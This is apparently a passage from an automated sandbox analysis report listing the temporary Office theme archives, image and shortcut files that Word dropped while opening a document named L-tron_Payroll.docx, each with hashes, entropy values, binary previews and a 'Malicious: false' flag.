SHA-256:	296B915148B29751E68687AE37D3FAFD9FFDDF458C48EB059A964D8F2291E899
SHA-512:	4F0965B4C5F543B857D9A44C7A125DDD3E8B74837A0FDD80C1FDC841BF22FC4CE4ADB83ACA8AA65A64F8AE6D764FA7B45B58556F44CFCE92BFAC43762A3BC5F4
Malicious:	false
Preview:	MSCF............D................4...............?..........~..................M. .content.inf."..........M. .Quotable.thmx..^.u.n..[...............&...U..F.......UU.M.T5.UUQS..j..#>43fD.....`....Vr......19'...P..j.-...6n.0c....4$.c....$.4.k3aQ$.lCN.#.[.."qc....,Z...,Qt@!.@...... ...H.......9.9.y.{....[.`..s3.5.....B....W.g.d...[uv.UW..............P.8.(.?......3.....'/F...0...8.P. .O..B....K...g..L.......#s...%..\|4.i....?.3b.".....g...?.........2.O23..'..O~.+..{...C.n.L......3......Y.L...?K...o......g....@.]...T..sU.....<.._.<G.......Tu.U2..v.&..<..^..e.].cY;..9.%..}...I.y.;...WM...3>.:.=.\|.-.AtT2OJ.I.#...#.y....A....\]$r...lM.%5.."...+7M..J.....c...".&$.... Y.r.B;..81B. +H...b....@7K..F.Z...v..=..ES.f.~.."...f..ho.X.E.a`~...C>.&..@\.[....(.....h..]...9&...sd.H .1.x.2..t.rj..o..A..^qF.S9.5.....E.{...C\|.w.c/V...0Q.M...........O.7;A4u...R..Z.B.7a.C`....p.z.....f!\|.u.3t....2e.wWH..'7p....E_...e.._;..k....&E.^.f=V..{..al.y:.4a...+.g...-..>e

C:\Users\user\AppData\Local\Temp\cab8D25.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 682092 bytes, 2 files, at 0x44 +A "Berlin.thmx" +A "content.inf", flags 0x4, ID 46672, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	698244
Entropy (8bit):	7.997838239368002
Encrypted:	true
SSDEEP:	12288:bUfKzAwwP7XAMWtr4FvMRt4lX0hnBdThiSb32+TdysrQgn7v4EemC6:sr7AMkJ34xu1bm4ZrQaY6
MD5:	E29CE2663A56A1444EAA3732FFB82940
SHA1:	767A14B51BE74D443B5A3FEFF4D870C61CB76501
SHA-256:	3732EB6166945DB2BF792DA04199B5C4A0FB3C96621ECBFDEAF2EA1699BA88EE
SHA-512:	6BC420F3A69E03D01A955570DC0656C83C9E842C99CF7B429122E612E1E54875C61063843D8A24DB7EC2035626F02DDABF6D84FC3902184C1EFF3583DBB4D3D8
Malicious:	false
Preview:	MSCF....lh......D...............P...........lh...?..........\|..................M. .Berlin.thmx............M. .content.inf..lH.lj..[...............7.I..)........P..5x.B/^y5.xk^^......D.F........s....y...?D..........&....".o..pl..Q.jm?_...6......=%.p.{.)S..y...$......,4..>#.........)..."-....K....4.E...L=.......4..p.c..nQ.0..ZO.#.....e.N..`U......oS....V..X[t.E)\|.h..R....$..}.{.F.7....^.....w.,...5rBR.....{.......mi...h.b......w+..;.hV......q..(.7&.Z.l...C."j........[-E4h.....v&..~.p$\|\X...8.....Fj'%,.)6w...u\|C..,y..E..`Up../(....2.(....Z.....,.'...d..s..Z....5.g.?Nq..04...f...D.x....q+.b.."v`{.NL....C..... ..n......1N+.I.{W9....2r.0...BaC.....O..=...k..."..8.D\jK.B...Aj....6,B..2...I.. B..^.4..1.K+.....DP...Mr....9..x[...>........?.Zd..'._2.._..>..'.F..#.w...2..~.\|........q_Wy.W.....~..Qex.km/..f......t.q..p..gm.\|.x.... ,.#\Z....p....a.}...%..v.J.Es......I.b.P?...0......F.x....E..j..6.%..E..-O.k...b .^.h.Cv...Z....D.n.d:.d.F..x...[1...B..

C:\Users\user\AppData\Local\Temp\cab8DC3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 937309 bytes, 2 files, at 0x44 +A "content.inf" +A "Gallery.thmx", flags 0x4, ID 44349, number 1, extra bytes 20 in head, 34 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	953453
Entropy (8bit):	7.99899040756787
Encrypted:	true
SSDEEP:	24576:9B1Onw3vg7aeYPagzbJ5Vhv6LnV2Dhl7GEYqVjcyd:vww3o7BYPJbJ5Vh6UCqZfd
MD5:	D4EAC009E9E7B64B8B001AE82B8102FA
SHA1:	D8D166494D5813DB20EA1231DA4B1F8A9B312119
SHA-256:	8B0631DA4DC79E036251379A0A68C3BA977F14BCC797BA0EB9692F8BB90DDB4D
SHA-512:	561653F9920661027D006E7DEF7FB27DE23B934E4860E0DF78C97D183B7CEBD9DCE0D395E2018EEF1C02FC6818A179A661E18A2C26C4180AFEE5EF4F9C9C6035
Malicious:	false
Preview:	MSCF....]M......D...............=...........]M...?..........}..."..............Li. .content.inf............Li. .Gallery.thmx.].(.Vq..[.....0Y..........v.....w.wwwww.wwwwww.w.....".83....y8..mg...o..U..N(..@uD.:O<........{.G....~~.....c.c.5..6./\|G .@#1O.B.............PT@...b.d.~..U....B.{.........0.H.....`.H.`..'S.......Ic..W..x...z....... .........g......._....o......S......p...$....._........._...K......x..?.6.U~...'./.r.................../.......5.8..2........2b.@j ....0.........``....H... ,5...........X........\|..Y.QoiW..\|.......x.sO8...Yb....7...m..b.f.hv..b......=...:Ar.-...[..A\.D..g..u....].9..M...'.R-`.....<..+.....]...1.^..I.z..W{.._....L.. ...4;..6O.....9,.-.Vt+b/$7..}.O05.Y...-..S.....$.....1."Z.r;.!..E.mMN..s .U...P%.[.P...cU...j...h.d.../.s..N/..:..X...p5.7\}h.Q ..._.F.X.C..z$.nV..+.k..\|.@.L...&.........^#.G.a..x..w!wx.8e+..E. i..$?9..8...:......\|..[."..y..&y..?...W....s..._...3Z0c.....i.q.........1c.jI....W..^%xH.._...n.......&J..

C:\Users\user\AppData\Local\Temp\cab8DC4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1049713 bytes, 2 files, at 0x44 +A "content.inf" +A "Savon.thmx", flags 0x4, ID 60609, number 1, extra bytes 20 in head, 37 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1065873
Entropy (8bit):	7.998277814657051
Encrypted:	true
SSDEEP:	24576:qehtHA3nsAOx7yN7THwxdGpkw8R60aTcua5U4c:hhmnsBMNAxdGpV5za5Uv
MD5:	E1101CCA6E3FEDB28B57AF4C41B50D37
SHA1:	990421B1D858B756E6695B004B26CDCCAE478C23
SHA-256:	69B2675E47917A9469F771D0C634BD62B2DFA0F5D4AF3FD7AFE9196BF889C19E
SHA-512:	B1EDEA65B6D0705A298BFF85FC894A11C1F86B43FAC3C2149D0BD4A13EDCD744AF337957CBC21A33AB7A948C11EA9F389F3A896B6B1423A504E7028C71300C44
Malicious:	false
Preview:	MSCF....q.......D...........................q... ?..........{...%..............M. .content.inf.Q_.........M. .Savon.thmx...O>.o..[..............&.5....UUcC.C....A...`TU...F....".54.E.....g.-.7-D....1g...p.6......@..w(....h'?.....(..........p..J.2n$4.........A......?...........@.C.W.R.5X..:....I..?....r.y..~!.....!.A.a...!........O.........5.x<C...?.?....C.C.......'....F../....../.$................4.7...................P...(.w.}6.........7.....01.1r........._..?.............'.._..JOx.CFA<.........0..2.?...>F.../...;..6-8..4...8&yb....".1%..v'..N...x......}.gYb..~L.....f[..!......Y.G.....p..r...?.p...F.Vy.....o.Whll...+...M.V...:.]...B.%.H....n..@.].zaVxf...y{.@....V.t.W....$Kp-.....7W.J..h..0A3mK.=.ub..R...W......*'T2..G#G,.^..T..XZu...U. ...76.d..#.I.JB.v...d...%.....6..O.K.[.:.L.\.....1.D..2a.>f......X...b5...ZgN.u.f...a!..."...sx....>..?.a.3.8.^._q..JS1.E..9..Lg.n.+....lE.f:j.9)Q..H1=..<.R.......{c>:.p[..S.9h.a.gL.U....8.z..z.!.....2I.~.b..2..c...

C:\Users\user\AppData\Local\Temp\cab8DF4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1081343 bytes, 2 files, at 0x44 +A "Circuit.thmx" +A "content.inf", flags 0x4, ID 11309, number 1, extra bytes 20 in head, 45 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1097591
Entropy (8bit):	7.99825462915052
Encrypted:	true
SSDEEP:	24576:UE9BMy98gA4cDWHkSrDans3MfEE6w8OaVuCibol0j41dwD:UE9Bdy3D4keQWt7w85VuVoaj4/Q
MD5:	BF95E967E7D1CEC8EFE426BC0127D3DE
SHA1:	BA44C5500A36D748A9A60A23DB47116D37FD61BC
SHA-256:	4C3B008E0EB10A722D8FEDB325BFB97EDAA609B1E901295F224DD4CB4DF5FC26
SHA-512:	0697E394ABAC429B00C3A4F8DB9F509E5D45FF91F3C2AF2C2A330D465825F058778C06B129865B6107A0731762AD73777389BB0E319B53E6B28C363232FA2CE8
Malicious:	false
Preview:	MSCF............D...............-,..............x?..........}...-...RU.........M. .Circuit.thmx.....RU.....M. .content.inf.g...&\|..[......=..R.....=.,.!QA?h..Q.!....Uk!.HJ.......VKuk.....q.w.w.U.....;...K.@.URA..0..B..\|rv.ND(.`{..@.1.}...s?.....-...O.(V.w..1..a.....aW...a.Z..aX....5.I...!..........(. ./.d...me.( ..f.........w.......Xp.s....c..vB.98.....C.J......V ..ML.M...B.n.>...\|....u!.5@t..q4....(K...u qL.S....>/%v%.2..TF.].e..'..-..L.N..c].a..(WU\o.%^..;...\|o.6..L..[..;&....^p.Lu.sr,-.R=.:.8.>VOB...:.?$.h.o....Zh.h....`.B.c.../K......b^...;2..bY.[.V.Q8....@..V7....I0c.cQN7..I.p..}..!..M....1K....+....9.2......a..W.V..........;.J .i......]%O.-......CeQ.0.c....MbP3.0.w..8w..Y...\|...H;#.J.+M......>.`y..aWk\|.i.BF.pJv;.....S..6....F.....RLG~..........J.=......"..........H.....h..o...u........M.6F?.F.p.B.>./*l....J.R..#P.....K......<iu..gm^..n...#c..zO"7M.O......4'>A..(.E.Cy.N.)....6.tx.r[.....7.......m.t..E?.....5.5.6.\..{.V.T.D.j..=~a^.I

C:\Users\user\AppData\Local\Temp\cab8EF2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1291243 bytes, 2 files, at 0x44 +A "content.inf" +A "Droplet.thmx", flags 0x4, ID 47417, number 1, extra bytes 20 in head, 54 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1310275
Entropy (8bit):	7.9985829899274385
Encrypted:	true
SSDEEP:	24576:NN3M9UHpHZE4aubaPubP3M6d71FdtmFAjq+54/79LVzG+VnS:NN3M9UJHZE4abPyU4JtmFCq+q/7JlVS
MD5:	9C9F49A47222C18025CC25575337A965
SHA1:	E42EDB33471D7C1752DCC42C06DD3F9FDA8B25F0
SHA-256:	ADA7EFF0676D9CCE1935D5485F3DDE35C594D343658FB1DA42CB5A48FC3FC16A
SHA-512:	9FDCBAB988CBE97BFD931B727D31BA6B8ECF795D0679A714B9AFBC2C26E7DCF529E7A51289C7A1AE7EF04F4A923C2D7966D5AF7C0BC766DCD0FCA90251576794
Malicious:	false
Preview:	MSCF...........D...............9..............XJ..........}...6..............M.. .content.inf............M.. .Droplet.thmx..m7.>J..[...............2.QQPIj..."o^R.H5^...^(e.W...R..x..^`..m...."..+.....{o.......Q.-....$V.N>...T]..L.... ..N.h..dOY.......S......N.%.d..d....Y.....e..$...<.m...`............@....=.z..n..[...,G..1Fn.qPDH{C<...3.Q...2..r.....E.E.E.ErM"&a..'..W....:...?I..<.I..6o.`.d.?!..!..._.4\.._.E..).._O.S....; ..#..p.H.....c....o\.K..?$U.e.........!...J.v.....gNe._..[....#A.O.n_.....gm:P._.........{@..-g..j.69b.NH.I.$Hk?.6.n...@......'.C.._.U..:,j.-G.....e.#.Sr.t.L......d[.[...s.....rx.3.F[.5o..:....K.x..)M.fb...3IP.&h.Q.VX^%U.......x..l......@6.k.P..zSW.?....F..[L...4..b.l.w."&.....`.j...i.5}".~.-.....{\.:...o.'H\+)....3.Y......\...f:.;....e........4't7..f...w..j...3....N..9`.J...P..?.....=3_.y]...f.<.......JM5.}Q/ .F.a..Z.._yh......V..>m .......a....f....!.hz..\.....F_..'z...,....h.=.......=.o..T....3.e..........$..g.2.

C:\Users\user\AppData\Local\Temp\cab8FDE.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1865728 bytes, 2 files, at 0x44 +A "content.inf" +A "Damask.thmx", flags 0x4, ID 63852, number 1, extra bytes 20 in head, 68 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1881952
Entropy (8bit):	7.999066394602922
Encrypted:	true
SSDEEP:	49152:6Wp9u/ZAvKz7ZFCejPiSmYXKIr6kBwBUA:6W6Bn7ZFNiiKo2l
MD5:	53C5F45B22E133B28D4BD3B5A350FDBD
SHA1:	D180CFB1438D27F76E1919DA3E84F307CB83434F
SHA-256:	8AF4C7CAC47D2B9C7ADEADF276EDAE830B4CC5FFE7E765E3C3D7B3FADCB5F273
SHA-512:	46AD3DA58C63CA62FCFC4FAF9A7B5B320F4898A1E84EEF4DE16E0C0843BAFE078982FC9F78C5AC6511740B35382400B5F7AC3AE99BB52E32AD9639437DB481D1
Malicious:	false
Preview:	MSCF.....x......D...............l............x..`?..........\|...D..............M[. .content.inf...!........M[. .Damask.thmx...o.PI..[.............../.TU.jj0..3jCUPU.jF...m.UU.P}.....PU..........w..#....E..].................A.. w.$..@..'g.......6%:..r9..d.M;M+.r.8[d{.s..dh..(P..........!.. ..ne..f.Nc..#..Y..q....KB}..b].@..F.&.t....E.........@&.m......$w......q...:.H....p.p.....?.9x.. .....?...ao....I....................o......g.u..;."....O;....{..(k..._.w/.Z......Jb..P.O?...........?....F....ty..72......! #....v..J......?.....!,.5.7..Em.....is.h.. \.H)i1v..zwp.....P.....x].X{O//..\....Z>z....6...+..a.c...;.K..+...?014..p.w%o^.....]...MguF...`....r.S.......eF..):.dnk#.p{..<..{..Ym...>...H......x.}.hI..M....e......*G.&.?..~.~G6.....+...D..p...._...T....F6.[Cx./Q..Xe.>.;.}>.^..:..SB.X..2.......(A..&j9....\\.......Haf+]Y...$t^Y=........><.w....tL../E...%6.Vr~MI...l.....<.0.I....7.Q8y.f.uu...I.p..O..eYYS.O......9..Qo.......:..........o.............{

C:\Users\user\AppData\Local\Temp\cab900E.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1750009 bytes, 2 files, at 0x44 +A "content.inf" +A "Slate.thmx", flags 0x4, ID 28969, number 1, extra bytes 20 in head, 72 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1766185
Entropy (8bit):	7.9991290831091115
Encrypted:	true
SSDEEP:	24576:O/gjMj+RP9Q07h9F75a0BXjBccHMVk2Hq2SkGa0QglyZtxmdPP2LcSUtfgfp16Yx:kJ6RP9Q07/X5V7yVF0QgktxAPutUt0zP
MD5:	828F96031F40BF8EBCB5E52AAEEB7E4C
SHA1:	CACC32738A0A66C8FE51A81ED8E27A6F82E69EB2
SHA-256:	640AD075B555D4A2143F909EAFD91F54076F5DDE42A2B11CD897BC564B5D7FF7
SHA-512:	61F6355FF4D984931E79624394CCCA217054AE0F61B9AF1A1EDED5ACCA3D6FEF8940E338C313BE63FC766E6E7161CAFA0C8AE44AD4E0BE26C22FF17E2E6ABAF7
Malicious:	false
Preview:	MSCF............D...............)q..............0?..........{...H..............M.. .content.inf.;.#........M.. .Slate.thmx.p.+..P..[......U..............p..K.!..........K..w..v........=....D$r...B....6 ...X.F0..d..m.s...$$r........m.)6.m3....vXn.l..o...a...V......Ru.:=2M.........T.....4S`EP......\..r,..v...G.P......'._H0]..%_............X.P.,.............H.?.-.H..".......M..&..o....R........<......`...D.H.._.G.Qv..(..U,.9..D...."..T..i.e../.e.."....,S...o.X.....c./..V....Z..o.O..2....{...+... ....0.@J.R.Q.m.....{.....h?u.q.O{...l.d)..Yk`.....#...u.-.m..#CXwrz4..7.>......v.E:.#.oGSKS.TX.Chm.4aQ......avH..{..j+@6[k].....`c..W8..j.v.Zh.]....4......K..#Hzyd..K}.....H\|<H..\(l...+..%Z......~.S:^..d>..1..H%..7N-v.....Wu.*..b^.B.....k0gc.2.{.!...E7.}3.d...{.Ye...&#f6...:2......v..&!..k0d.p.b...,..$.....Y..60...h.N}.r...<[./........{...Es..&.nf.....2.@Fh3.9.G....l.[.C..SD/6.H.K....}..m....M..........gl.P.]..I......5....e.c...V....P...[.=.......O.eq+

C:\Users\user\AppData\Local\Temp\cab9224.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 2573508 bytes, 2 files, at 0x44 +A "content.inf" +A "Mesh.thmx", flags 0x4, ID 62129, number 1, extra bytes 20 in head, 94 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	2591108
Entropy (8bit):	7.999030891647433
Encrypted:	true
SSDEEP:	49152:ZSBBeAefkpB5iXfQJgi7JBaCCRZ3cM2VDHkvSJO6qzI1tE9Rn:EBI6gbCkMPDHKSJO6qsP6n
MD5:	BEB12A0464D096CA33BAEA4352CE800F
SHA1:	F678D650B4A41676BA05C836D462F34BDC5BF648
SHA-256:	A44166F5C9F2553555A43586BA5DB1C1DE54D72D308A48268F27C6A00076B1CA
SHA-512:	B6E7CCD1ECBB9A49FC72E40771725825DAF41DDB2FF8EA4ECCE18B8FA1A59D3B2C474ADD055F30DA58C7E833A6E6555EBB77CCC324B61CA337187B4B41F7008B
Malicious:	false
Preview:	MSCF.....D'.....D............................D'..D..........z...^..............M7. .content.inf............M7. .Mesh.thmx....&~j..[.....0.................]............ww,v.\....D......3m..m!f..0..E{..?..`..A...k.:....I..........\|bmG.FS...f.;.J.vzb.......R.......-....\|.......ESD.....".4M..M..t.N....y..,..#.4.5.2.......'.8.Q..3.D..T....!.......&rJg...s........(..9........Dw..'....9.-..G.c............E.. .O.....a..O.._..s..)7Wz~....bJ..D...o....0..R/.#...?.......~6.Q?....?y...g.?............TP..r-...>....-..!.6...B.....\../...2....4...p$...Oge.G.?.....S.#x(..$.A~.U.%f....dJ..S.f{.g.._..3{.fm2.....Z.\o&.[k.m....ko.8..r.-.Go.OQ..'!6..f.L...Ud.$.q.L.....R.. J.T&4g...7.2K...#k.[.].:....lk.....;c..DRx.`..&L..cpv.>.Ngz~.{..v5.\...'C.<R:.C8.\|.fE{......K...).....T...gz}..rF..Q.dof7.....D.f=cm...U\|.O.]F...5zg(.. ....S..._?D....^..+.i...Z.....+X..U!4qy..._..`I..>./.W.7......=.O....BG..=..%9\|...3.?...}.$"..H..u...0.......a..:t?.....8...Z..#g.=<.e.`\......KQ..U....

C:\Users\user\AppData\Local\Temp\cab9225.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 2511552 bytes, 2 files, at 0x44 +A "content.inf" +A "Main_Event.thmx", flags 0x4, ID 59889, number 1, extra bytes 20 in head, 90 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	2527736
Entropy (8bit):	7.992272975565323
Encrypted:	true
SSDEEP:	49152:NFXdpz4d98p/q5jA4q+9Uf5kx6wHR8WfPJZVhWzH4dRze76YP9nJ7yyAInT76nSY:NFXdKx5sM9SmxHKexZVhutJJVpCSqa0Z
MD5:	F256ACA509B4C6C0144D278C7036B0A8
SHA1:	93F6106D0759AFD0061F73B876AA9CAB05AA8EF6
SHA-256:	AD26761D59F1FA9783C2F49184A2E8FE55FCD46CD3C49FFC099C02310649DC67
SHA-512:	08C57661F8CC9B547BBE42B4A5F8072B979E93346679ADE23CA685C0085F7BC14C26707B3D3C02F124359EBB640816E13763C7546FF095C96D2BB090320F3A95
Malicious:	false
Preview:	MSCF.....R&.....D............................R&.8?..............Z..............M). .content.inf..,........M). .Main_Event.thmx......R..[...............=.1.^xa..^...../..^x....QA^"....^/.I.{/F..F..........6Vn. ..._Hmc......<....#.{.@.....Xl../Y....Ye..'V.f.S.Vf.T..0t+..y...5O...{.....-.dT...........!...[ .ns..k.....QAA.. ....B..u.`.....{.\u8.0.....@t........K....@..w.......>...-1F...........1.E....O............_M.m..CP.O......X......g......].../..:C...Q...i.._"...M..1o...S../...9....k;...}S........y..;1o....1h......t.CL.3...].@...T...4.6.}.....M...f...[.s.."f....nZ.W......0.c.{.`.^..Oo.[.JT.2].^.f..a....kO......Q..G..s.5...V.Wj.....e...I,]...SHa..U.N.N.....v.C.....x..J{.Z.t...]WN...77BO-J......g......3:i..2..EFeL.,n..t:..,~4gt.w...M.5.'h.L..#..A&.O.ys%K.Z....F.PW..=jH...jGB.i..j.J.^.#.\n...J@.....-5.f.1jZ68.o...H2.......$O...>..ld&,#$.&_....yl.fkP$.........l....s....i.tx.~<.z...>..2.Gx..B..z.E.3.N<....`$.....b..?.w.[.X..1.=q!.s......v.......r.w

C:\Users\user\AppData\Local\Temp\cab93AF.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3239239 bytes, 2 files, at 0x44 +A "content.inf" +A "Vapor_Trail.thmx", flags 0x4, ID 19811, number 1, extra bytes 20 in head, 111 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	3256855
Entropy (8bit):	7.996842935632312
Encrypted:	true
SSDEEP:	98304:wh7I1aeH9YvgK+A+a7GiiQzP4YZDpQ2+Sd6Y:w21ay93aypQzzhpBL/
MD5:	8867BDF5FC754DA9DA6F5BA341334595
SHA1:	5067CCE84C6C682B75C1EF3DEA067A8D58D80FA9
SHA-256:	42323DD1D3E88C3207E16E0C95CA1048F2E4CD66183AD23B90171DA381D37B58
SHA-512:	93421D7FE305D27E7E2FD8521A8B328063CD22FE4DE67CCCF5D3B8F0258EF28027195C53062D179CD2EBA3A7E6F6A34A7A29297D4AF57650AA6DD19D1EF8413D
Malicious:	false
Preview:	MSCF....Gm1.....D...............cM..........Gm1..D..............o... ..........MP. .content.inf...7. ......MP. .Vapor_Trail.thmx..n...N..[......L........7...+I..x...P7/...BH..Rm.\yqi.x..B....{.m.............=.....p.%.@......BpV.[......C.4..X./..Y.'SB..........0.Gr.FG.).....R\...2..Jt..1..._.4_B..................cn7H.-.....Q...1..G{G.~.. '.$......@.(....=@=..`....@.@.A. ....'.4`. .@....D...'....S.s..9.7" /....?.aY.c.........LG....k...?_.....P.....?.1.....FB..m..t...['......:...?...W..../~..z.Tr...X.@...._....3..N..p.....b...t.....^..t...~..t.8A...t_....D..3R.Z.=..{.A.8).3-5..v.isz....0A~%.s.D.4....k.K......8......)R.}f.E..n.g&:W...'E....4%T..>......b.y..[..zI....e...j.s....F.....\|7826U.C.,..BY.U.F.f......"..#.m..,..._...#.\.....gPP.2.}Kas......g..3.d0.Z.Z.]..n......MY]6.....].m..D.6...?.n.20.,.#...S...JK..#.W.%.Z4.....i..CBf...../..z......n.N...U.....8t...ny...=.!..#..SF..e...1.P..@.Qx*.f.;..t..S.>..... F..)...@.Y..5j....x....vI.mM....Z.W..77...

C:\Users\user\AppData\Local\Temp\cab949B.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3400898 bytes, 2 files, at 0x4c "Insight design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 106 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	3417042
Entropy (8bit):	7.997652455069165
Encrypted:	true
SSDEEP:	98304:1YYkj2mRz6vkkB15AW4QD0ms+FdniD60bDUpS:qYkj7d6vP7NZDLn+PM8
MD5:	749C3615E54C8E6875518CFD84E5A1B2
SHA1:	64D51EB1156E850ECA706B00961C8B101F5AC2FC
SHA-256:	F2D2DF37366F8E49106980377D2448080879027C380D90D5A25DA3BDAD771F8C
SHA-512:	A5F591BA5C31513BD52BBFC5C6CAA79C036C7B50A55C4FDF96C84D311CCDCF1341F1665F1DA436D3744094280F98660481DCA4AA30BCEB3A7FCCB2A62412DC99
Malicious:	false
Preview:	MSCF......3.....L.............................3..?..............j.....3.....t.4.............Insight design set.dotx.................Content.inf...QJ.N..[.........R.....L....N).J\|E.B.$.B).3,...n.....JW....k.U1..M...3#.5....$^.....;vR...Z.nj...#......^......a.{..(..o.v...!L`...T.-&jZ`.\.0.....G.."b.m..F.X......$>%..?.D..H.l.j....$.......MrQ......q-....hx...6.D.3...j....n..U#R..3....sm?..xJr..............$G8..t.g...?.g.}......$P._...7.#..w..9DR....lu....?..'.Ai..v.vl..`......B..N_....W./.;...c=oYW.lL'bv.......+...9.P..B=...Y.SX=EL.5o....?H.e\|.Fn.M[...d.v.....i......9..U..H....uq.Nrn..@..e...3....8.....s8}z..$........B....26...d..?.l....=.aeM.[..\|n....H.;..7A.`....=.F...V.Y.l..8.........%e.x0S.....~..2..%.....U..#.r_.0V.v.6w.l.......Y.........v..o+....sn.$^'.Il...akUU....w....~.....&8.Vwj.....Q.uQ..&..G.($.2.s.?m.B.~j...+G.W..qi..g..5.)){O........o.ow.(;.{...y;n...J...&.F2.@.;......[{'w..........`....czW.........?W...}..w....x..........

C:\Users\user\AppData\Local\Temp\mso4CC9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	GIF image data, version 89a, 15 x 15
Category:	dropped
Size (bytes):	663
Entropy (8bit):	5.949125862393289
Encrypted:	false
SSDEEP:	12:PlrojAxh4bxdtT/CS3wkxWHMGBJg8E8gKVYQezuYEecp:trPsTTaWKbBCgVqSF
MD5:	ED3C1C40B68BA4F40DB15529D5443DEC
SHA1:	831AF99BB64A04617E0A42EA898756F9E0E0BCCA
SHA-256:	039FE79B74E6D3D561E32D4AF570E6CA70DB6BB3718395BE2BF278B9E601279A
SHA-512:	C7B765B9AFBB9810B6674DBC5C5064ED96A2682E78D5DFFAB384D81EDBC77D01E0004F230D4207F2B7D89CEE9008D79D5FBADC5CB486DA4BC43293B7AA878041
Malicious:	false
Preview:	GIF89a....w..!..MSOFFICE9.0.....sRGB......!..MSOFFICE9.0.....msOPMSOFFICE9.0Dn&P3.!..MSOFFICE9.0.....cmPPJCmp0712.........!.......,....................'..;..b...RQ.xx..................,+................................yy..;..b.........................qp.bb..........uv.ZZ.LL.......xw.jj.NN.A@....zz.mm.^_.........yw........yx.xw.RR.,.++............................................................................................................................................................................................................8....>.......................4567...=..../0123.....<9:.()+,-.B.@...."#$%&'....... !............C.?....A;<...HT(..;

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:	3:bkI/lt:AI/l
MD5:	30DFC55A453AB66A3F77BF6FE91EF272
SHA1:	5CF5DF8298E5D306855A7B3FA80CAD588C533B1F
SHA-256:	9B3ED3C96D117EFB968A1C6D1091BAF4F239C44C7DE997D0E0D2088DE9F9450C
SHA-512:	9C59D42A60ABBD57D3B976BD25D182DEAF48E2810A4588BBFE3896AA8C86E98BA89EA863D3C7576E3B9A8102E3FEF6228C4DED78FD86F8C53D30EEE7366342B2
Malicious:	false
Preview:	.....A........................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\L-tron_Payroll.LNK

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Oct 4 13:16:59 2023, mtime=Mon Oct 7 18:53:00 2024, atime=Mon Oct 7 18:52:54 2024, length=61731, window=hide
Category:	dropped
Size (bytes):	541
Entropy (8bit):	4.7575635756301935
Encrypted:	false
SSDEEP:	6:4xtQl3gQlv6UeSl4hXdLllp4SyD1K7CljAlM8xmNJAmKaKBllPmWOD1K7b8mo2L+:8DQcdSO5llp4BjAGJKa2llPmBGoMNmV
MD5:	2BD3F16C575A5ADD6EEDBBDE5BBAEB71
SHA1:	537BB2AB36D168DB96E9DB8719FAF9BDD2F98353
SHA-256:	E9D06B14AA78219EE3097760BA4385CEAF435002728C85FD2A4FEE08D06C40A2
SHA-512:	E9FFCCB5B2EF6DF3554EE599587E32681F04DB6A9FD93BF9DE1EABA05D383DF35F47729F33466F699CE9DDEDBC0564031F6AA8377F5ABD200BEA0B242ACBEF37
Malicious:	false
Preview:	L..................F.... ......p...........VD......#.......................v.t.2.#...GY.. .L-TRON~1.DOC..X......DW rGY.............................W..L.-.t.r.o.n._.P.a.y.r.o.l.l...d.o.c.x.......Z...............-.......Y............F.......C:\Users\user\Desktop\L-tron_Payroll.docx..*.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.L.-.t.r.o.n._.P.a.y.r.o.l.l...d.o.c.x.`.......X.......921702...........hT..CrF.f4... .~2=.b...,...W..hT..CrF.f4... .~2=.b...,...W..E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Templates.LNK

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Directory, ctime=Mon Oct 7 18:52:56 2024, mtime=Mon Oct 7 18:54:00 2024, atime=Mon Oct 7 18:54:00 2024, length=0, window=hide
